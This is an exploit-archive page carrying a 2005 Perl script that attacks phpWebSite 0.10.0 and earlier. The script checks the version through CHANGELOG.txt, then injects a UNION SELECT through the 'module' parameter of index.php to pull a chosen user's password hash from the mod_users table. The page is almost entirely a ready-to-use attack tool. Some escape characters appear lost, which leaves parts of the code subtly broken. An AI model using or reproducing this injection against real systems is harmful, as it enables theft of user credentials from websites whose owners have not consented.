[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : phpWebSite <= 0.10.0 (module) SQL Injection Exploit
# Published : 2005-09-15
# Author : RusH
# Previous Title : Ultimate PHP Board <= 1.9.6 GOLD users.dat Password Decryptor
# Next Title : AzDGDatingLite <= 2.1.3 Remote Code Execution Exploit


#!/usr/bin/perl
use LWP::Simple;
 
$serv     =  $ARGV[0]; 
$path     =  $ARGV[1]; 
$name     =  $ARGV[2];
    
sub usage
 { 
    print "nUsage: $0 [server] [path] [username] n"; 
    print "sever    -  URLn"; 
    print "path     -  path to index.phpn"; 
    print "username -  name register usernn"; 
    exit ();}  
 
sub work
 {
    print qq(
       --------------------------------- 
#==---[    phpWebSite SQL-injection     |
#==---[   tested ob phpWebSite-0.10.0   |
#==---[  Gr33tz: blf, 1dt.w0lf, Pengo,  |
#==---[       edisan, foster, whice     |
#==---[ (c)oded by x97Rang 2005 RST/GHC |
#==---[        http://rst.void.ru       |
#==---[          http://ghc.ru          |
       ---------------------------------nn);&chv;&board}
       
sub chv     
 {
    $ver  = sprintf("http://%s%s/docs/CHANGELOG.txt",$serv,$path);
    $getv = get "$ver";
if ($getv =~ /(phpWebSite-)(d{1}).(d{1,2}).(d{1})/){print"[*] Version: $1$2.$3.$4n";}}  
 
sub board 
 {
    $URL = sprintf("http://%s%s/index.php?module=%27+union+select+username,password+from+mod_users+where+username=%27$name%27/*",$serv,$path);   
    $content = get "$URL";
if ($content =~ /(<b>Search&#160;)(w{32})(</b>)/){&showh;}else{print "... One of those days :)n";}}
 
sub showh
 {
    print "[*] User: $namen";
    print "[*] Hash: $2nn";}
    
if (@ARGV != 3){&usage;}else{&work;}

# www.Syue.com [2005-09-15]